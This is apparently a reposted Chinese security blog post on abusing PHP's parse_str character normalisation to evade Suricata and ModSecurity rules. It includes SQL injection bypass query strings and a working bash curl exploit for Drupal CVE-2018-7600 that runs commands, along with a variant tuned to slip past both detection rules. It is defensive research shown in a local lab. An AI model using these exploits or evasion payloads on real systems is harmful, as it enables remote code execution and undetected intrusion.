php 字符串替换_利用PHP解析字符串函数parse_str的特性来绕过IDS、IPS和WAF

525a9a2644a2f9dc3e8663a401abcf5f.gif

969b028d68f05786fd00e92f8b766fb7.png

众所周知,PHP将查询字符串(在URL或正文中)转换为$_GET或$_POST中的关联数组。例如:/ ?foo=bar被转换为Array([foo] => "bar")。查询字符串解析过程使用下划线删除或替换参数名称中的某些字符。例如/?%20news[id%00=42被转换为Array([news_id] => 42)。如果IDS / IPS或WAF在news_id参数中有一个用于阻止或记录非数字值的规则,则可以通过滥用此解析过程来绕过它,例如:/news.php?%20news[id%00=42"+AND+1=0--,在PHP中,%20news[id%00中的参数名称的值将存储到$_GET["news_id"]。

PHP需要将所有参数转换为一个有效的变量名,所以当解析查询字符串时,它主要做两件事:

1.删除初始空格;

2.将一些字符转换为下划线(包括空格)。

例如:

9e923637de6921b6fc49c748bce06446.png

通过简单循环,你可以使用parser_str函数发现哪个字符被删除或转换为下划线:

4fdc32fc424a4d6c88e912e824cffbdf.png

parse_str.php运行

parse_str用于get、post和cookie。如果你的web服务器接受带有点或空格的标题名称,那么标题也会发生类似的情况。我已经执行了三次上面的循环,枚举参数名称两端的了从0到255的所有字符,结果如下:

[1st]foo_bar

foo[2nd]bar

foo_bar[3rd]

a4df61f5f2b12e883a73913d54078e5a.png

656393f471143b8ab4d14c45f11c9e54.png

在上述方案中,foo%20bar和foo+bar是等价的,并被解析为foo bar。

8adfb5eb7104ed584d930a7937cb8d0a.pngSuricata

suricata是一款开源高性能的入侵检测系统,并支持ips(入侵防御)与nsm(网络安全监控)模式,用来替代原有的snort入侵检测系统,完全兼容snort规则语法和支持lua脚本。

对于外行来说,Suricata是一个“开源、成熟、快速和强大的网络威胁检测引擎”,其引擎能够实时进行入侵检测(IDS)、内联入侵预防(IPS)、网络安全监控(NSM)和离线pcap处理。

使用Suricata,你甚至可以定义一个检查HTTP流量的规则。假设你定义了以下这样一个规则:

alert http any any -> $HOME_NET any (\

    msg: "Block SQLi"; flow:established,to_server;\

    content: "POST"; http_method;\

    pcre: "/news_id=[^0-9]+/Pi";\

    sid:1234567;\

)

此规则会检查news_id是否具有非数字值,在PHP中,可以轻松绕过滥用其查询字符串解析器,如下所示:

/?news[id=1%22+AND+1=1--'

/?news%5bid=1%22+AND+1=1--'

/?news_id%00=1%22+AND+1=1--'

在GitHub上搜索时,我发现了有许多针对PHP的Suricata规则可以通过替换下划线,在被检查的参数名称中添加空字节或空格来绕过。具体示例,请点此。

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

正如我们之前看到的那样,可以通过以下方式绕过:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

说实话,改变参数位置就足够了:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

8adfb5eb7104ed584d930a7937cb8d0a.pngWAF (ModSecurity)

PHP查询字符串解析器也可能被滥用以绕过WAF规则,想象一下ModSecurity规则,SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"显然很容易使用相同的绕过技术。幸运的是,在ModSecurity中,你可以通过正则表达式指定查询字符串参数。比如:SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"。

这将阻止所有以下请求:

⛔️/?news[id=1%22+AND+1=1--'

⛔️/?news%5bid=1%22+AND+1=1--'

⛔️/?news_id%00=1%22+AND+1=1--'

8adfb5eb7104ed584d930a7937cb8d0a.pngPoC 

让我们用Suricata和Drupal CMS创建一个PoC,以利用CVE-2018-7600。CVE-2018-7600,该漏洞存在于众多Drupal版本中,攻击者可以使用此漏洞强制运行Drupal的服务器,并执行可能危害Drupal安装的恶意代码。根据具体配置的不同,这也很可能会危及到主机。为了简单起见,我将在两个docker容器上运行Suricata和Drupal,并尝试从Suricata容器中利用Drupal。

我将激活关于Suricata的两条规则:

1.阻止form_id=user_register_form的自定义规则;

2.CVE-2018-7600的 Positive Technologies Suricata规则。

53a5a5723583866c99cf31b7492d1421.png

安装Suricata时,按照说明来即可,而对于Drupal,我运行了vulhub容器,你可以在这里找的它,Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

b0f221f774ed50ab07c40902fb606cfb.png

首先,让我们试着利用CVE-2018-7600,首先创建一个执行curl的bash脚本。

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"

QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="

COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

正如你所看到的,上面的脚本执行命令id。我们来试试吧:

c7966642c74844967b5ad96f6b155bfa.png

Drupal CVE-2018-7600被利用

现在让我们尝试在Suricata中导入以下两条规则:我编写了第一条规则,它只是试图匹配请求正文中的form_id=user_register_form;Positive Technology编写了第二个,并匹配请求URL中的/user/register和请求正文中的#post_render之类的内容。

第一条规则:

alert http any any -> $HOME_NET any (\

  msg: "Possible Drupalgeddon2 attack";\

  flow: established, to_server;\

  content: "/user/register"; http_uri;\

  content: "POST"; http_method;\

  pcre: "/form_id=user_register_form/Pi";\

  sid: 10002807;\

  rev: 1;\

)

第二条规则:

alert http any any -> $HOME_NET any (\

  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \

  flow: established, to_server; \

  content: "/user/register"; http_uri; \

  content: "POST"; http_method; \

  content: "drupal"; http_client_body; \

  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \

  reference: cve, 2018-7600; \

  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \

  classtype: attempted-admin; \

  reference: url, github.com/ptresearch/AttackDetection; \

  metadata: Open Ptsecurity.com ruleset; \

  sid: 10002808; \

  rev: 2; \

)

重新启动Suricata后,我想知道上面的两条规则是否会拦截我的攻击。

可以看出,我们有两个Suricata日志:

1.通过注册表(CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080实施的ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE;

2.可能的Drupalgeddon2攻击 [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080。

8adfb5eb7104ed584d930a7937cb8d0a.png成功绕过!

这两条规则都很容易绕过,我们已经看到了如何绕过滥用PHP查询字符串解析器的规则。我们可以将form_id = user_register_form替换为:form%5bid=user_register_form。

2f808f98a691d9bbca9e2241fb37058d.gif

可以看到,只有第二条规则匹配。分析第二条规则的正则表达式,我们可以看到它匹配#和他的编码版本%23。由于它没有匹配下划线字符的编码版本,所以,我们可以通过使用post%5frender而不是post_render来绕过它。

这两个规则都可以被以下漏洞绕过:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"

QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="

COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

adb3d1eba2f5af203e838f171c7e794d.png

bae7e844f5e05ead8474552bfe7c818e.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值